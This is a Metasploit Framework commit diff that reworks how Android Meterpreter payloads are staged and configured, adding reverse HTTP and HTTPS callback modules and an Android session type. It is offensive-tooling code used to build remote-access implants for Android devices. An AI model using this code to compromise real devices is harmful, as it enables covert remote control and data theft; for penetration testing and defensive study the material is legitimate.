Skip to content

Commit 834756c

Browse files
committed
Rework android structure to function with the multi arch payload
1 parent bdfaaf0 commit 834756c

File tree

12 files changed

+223
-107
lines changed

12 files changed

+223
-107
lines changed

lib/msf/base/sessions/meterpreter_multi.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,9 @@ def self.create_session(rstream, opts={})
2626
when 'java'
2727
require 'msf/base/sessions/meterpreter_java'
2828
return Msf::Sessions::Meterpreter_Java_Java.new(rstream, opts)
29+
when 'android'
30+
require 'msf/base/sessions/meterpreter_android'
31+
return Msf::Sessions::Meterpreter_Java_Android.new(rstream, opts)
2932
when 'php'
3033
require 'msf/base/sessions/meterpreter_php'
3134
return Msf::Sessions::Meterpreter_Php_Java.new(rstream, opts)

lib/msf/core/payload/android.rb

Lines changed: 16 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -24,41 +24,41 @@ def fix_dex_header(dexfile)
2424
# We could compile the .class files with dx here
2525
#
2626
def generate_stage(opts={})
27+
''
28+
end
29+
30+
def generate_default_stage(opts={})
31+
''
2732
end
2833

2934
#
3035
# Used by stagers to construct the payload jar file as a String
3136
#
32-
def generate
33-
generate_jar.pack
37+
def generate(opts={})
38+
generate_jar(opts).pack
3439
end
3540

3641
def java_string(str)
3742
[str.length].pack("N") + str
3843
end
3944

40-
def apply_options(classes, opts)
41-
config = generate_config_bytes(opts)
42-
if opts[:stageless]
43-
config[0] = "\x01"
44-
end
45-
46-
string_sub(classes, "\xde\xad\xba\xad" + "\x00" * 8191, config)
47-
end
48-
49-
def generate_config_bytes(opts={})
45+
def generate_config(opts={})
5046
opts[:uuid] ||= generate_payload_uuid
47+
ds = opts[:datastore] || datastore
5148

5249
config_opts = {
5350
ascii_str: true,
5451
arch: opts[:uuid].arch,
55-
expiration: datastore['SessionExpirationTimeout'].to_i,
52+
expiration: ds['SessionExpirationTimeout'].to_i,
5653
uuid: opts[:uuid],
5754
transports: [transport_config(opts)]
5855
}
5956

6057
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
61-
config.to_b
58+
result = config.to_b
59+
60+
result[0] = "\x01" if opts[:stageless]
61+
result
6262
end
6363

6464
def string_sub(data, placeholder="", input="")
@@ -104,7 +104,8 @@ def generate_jar(opts={})
104104
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
105105
end
106106

107-
apply_options(classes, opts)
107+
config = generate_config(opts)
108+
string_sub(classes, "\xde\xad\xba\xad" + "\x00" * 8191, config)
108109

109110
jar = Rex::Zip::Jar.new
110111
files = [
Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
require 'msf/base/sessions/meterpreter_options'
5+
require 'msf/core/payload/uuid/options'
6+
7+
module Msf
8+
9+
###
10+
#
11+
# Common loader for Android payloads that make use of Meterpreter.
12+
#
13+
###
14+
15+
module Payload::Android::MeterpreterLoader
16+
17+
include Msf::Payload::Android
18+
include Msf::Payload::UUID::Options
19+
include Msf::Sessions::MeterpreterOptions
20+
21+
def initialize(info={})
22+
super(update_info(info,
23+
'Name' => 'Android Meterpreter & Configuration',
24+
'Description' => 'Android-specific meterpreter generation',
25+
'Author' => ['OJ Reeves'],
26+
'Platform' => 'android',
27+
'Arch' => ARCH_DALVIK,
28+
'PayloadCompat' => {'Convention' => 'http https'},
29+
'Stage' => {'Payload' => ''}
30+
))
31+
32+
register_options([
33+
OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true])
34+
])
35+
end
36+
37+
def stage_payload(opts={})
38+
stage_meterpreter(opts)
39+
end
40+
41+
def stage_meterpreter(opts={})
42+
clazz = 'androidpayload.stage.Meterpreter'
43+
metstage = MetasploitPayloads.read("android", "metstage.jar")
44+
met = MetasploitPayloads.read("android", "meterpreter.jar")
45+
46+
# Name of the class to load from the stage, the actual jar to load
47+
# it from, and then finally the meterpreter stage
48+
blocks = [
49+
java_string(clazz),
50+
java_string(metstage),
51+
java_string(met),
52+
java_string(generate_config(opts))
53+
]
54+
55+
(blocks + [blocks.length]).pack('A*' * blocks.length + 'N')
56+
end
57+
58+
def generate_config(opts={})
59+
opts[:uuid] ||= generate_payload_uuid
60+
ds = opts[:datastore] || datastore
61+
62+
# create the configuration block, which for staged connections is really simple.
63+
config_opts = {
64+
ascii_str: true,
65+
arch: opts[:uuid].arch,
66+
expiration: ds['SessionExpirationTimeout'].to_i,
67+
uuid: opts[:uuid],
68+
transports: opts[:transport_config] || [transport_config(opts)]
69+
}
70+
71+
# create the configuration instance based off the parameters
72+
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
73+
74+
# return the XML version of it
75+
config.to_b
76+
end
77+
end
78+
end
79+
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
require 'msf/core/payload/transport_config'
5+
require 'msf/core/payload/uuid/options'
6+
7+
module Msf
8+
9+
###
10+
#
11+
# Complex payload generation for Android that speaks HTTP(S)
12+
#
13+
###
14+
15+
module Payload::Android::ReverseHttp
16+
17+
include Msf::Payload::TransportConfig
18+
include Msf::Payload::Android
19+
include Msf::Payload::UUID::Options
20+
21+
#
22+
# Generate the transport-specific configuration
23+
#
24+
def transport_config(opts={})
25+
transport_config_reverse_http(opts)
26+
end
27+
28+
def generate_config(opts={})
29+
opts[:uri] ||= generate_uri(opts)
30+
super(opts)
31+
end
32+
33+
#
34+
# Generate the URI for the initial stager
35+
#
36+
def generate_uri(opts={})
37+
ds = opts[:datastore] || datastore
38+
uri_req_len = ds['StagerURILength'].to_i
39+
40+
# Choose a random URI length between 30 and 255 bytes
41+
if uri_req_len == 0
42+
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
43+
end
44+
45+
if uri_req_len < 5
46+
raise ArgumentError, "Minimum StagerURILength is 5"
47+
end
48+
49+
generate_uri_uuid_mode(:init_java, uri_req_len)
50+
end
51+
52+
#
53+
# Always wait at least 20 seconds for this payload (due to staging delays)
54+
#
55+
def wfs_delay
56+
20
57+
end
58+
59+
end
60+
61+
end
62+
63+
Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
require 'msf/core/payload/android/reverse_http'
5+
6+
module Msf
7+
8+
###
9+
#
10+
# Complex payload generation for Android that speaks HTTPS
11+
#
12+
###
13+
14+
module Payload::Android::ReverseHttps
15+
16+
include Msf::Payload::Android::ReverseHttp
17+
18+
#
19+
# Generate the transport-specific configuration
20+
#
21+
def transport_config(opts={})
22+
transport_config_reverse_https(opts)
23+
end
24+
25+
end
26+
end
27+

lib/msf/core/payload/java/meterpreter_loader.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -20,12 +20,12 @@ module Payload::Java::MeterpreterLoader
2020

2121
def initialize(info = {})
2222
super(update_info(info,
23-
'Name' => 'Meterpreter & Configuration',
23+
'Name' => 'Java Meterpreter & Configuration',
2424
'Description' => 'Java-specific meterpreter generation',
2525
'Author' => ['OJ Reeves'],
2626
'Platform' => 'java',
2727
'Arch' => ARCH_JAVA,
28-
'PayloadCompat' => {'Convention' => 'http'},
28+
'PayloadCompat' => {'Convention' => 'http https'},
2929
'Stage' => {'Payload' => ''}
3030
))
3131
end

modules/payloads/stagers/android/reverse_http.rb

Lines changed: 3 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@
55

66
require 'msf/core'
77
require 'msf/core/handler/reverse_http'
8+
require 'msf/core/payload/android/reverse_http'
89
require 'msf/core/payload/uuid/options'
910

1011
module MetasploitModule
@@ -13,6 +14,7 @@ module MetasploitModule
1314

1415
include Msf::Payload::Stager
1516
include Msf::Payload::Android
17+
include Msf::Payload::Android::ReverseHttp
1618
include Msf::Payload::UUID::Options
1719

1820
def initialize(info = {})
@@ -24,21 +26,8 @@ def initialize(info = {})
2426
'Platform' => 'android',
2527
'Arch' => ARCH_DALVIK,
2628
'Handler' => Msf::Handler::ReverseHttp,
29+
'Convention' => 'javaurl',
2730
'Stager' => {'Payload' => ''}
2831
))
2932
end
30-
31-
#
32-
# Generate the transport-specific configuration
33-
#
34-
def transport_config(opts={})
35-
transport_config_reverse_http(opts)
36-
end
37-
38-
def generate_config_bytes(opts={})
39-
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
40-
opts[:uri] = generate_uri_uuid_mode(:init_java, uri_req_len)
41-
super(opts)
42-
end
43-
4433
end

modules/payloads/stagers/android/reverse_https.rb

Lines changed: 2 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@
55

66
require 'msf/core'
77
require 'msf/core/handler/reverse_https'
8+
require 'msf/core/payload/android/reverse_https'
89
require 'msf/core/payload/uuid/options'
910

1011
module MetasploitModule
@@ -13,7 +14,7 @@ module MetasploitModule
1314

1415
include Msf::Payload::Stager
1516
include Msf::Payload::Android
16-
include Msf::Payload::UUID::Options
17+
include Msf::Payload::Android::ReverseHttps
1718

1819
def initialize(info = {})
1920
super(merge_info(info,
@@ -27,18 +28,4 @@ def initialize(info = {})
2728
'Stager' => {'Payload' => ''}
2829
))
2930
end
30-
31-
#
32-
# Generate the transport-specific configuration
33-
#
34-
def transport_config(opts={})
35-
transport_config_reverse_https(opts)
36-
end
37-
38-
def generate_config_bytes(opts={})
39-
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
40-
opts[:uri] = generate_uri_uuid_mode(:init_java, uri_req_len)
41-
super(opts)
42-
end
43-
4431
end

0 commit comments

Comments
 (0)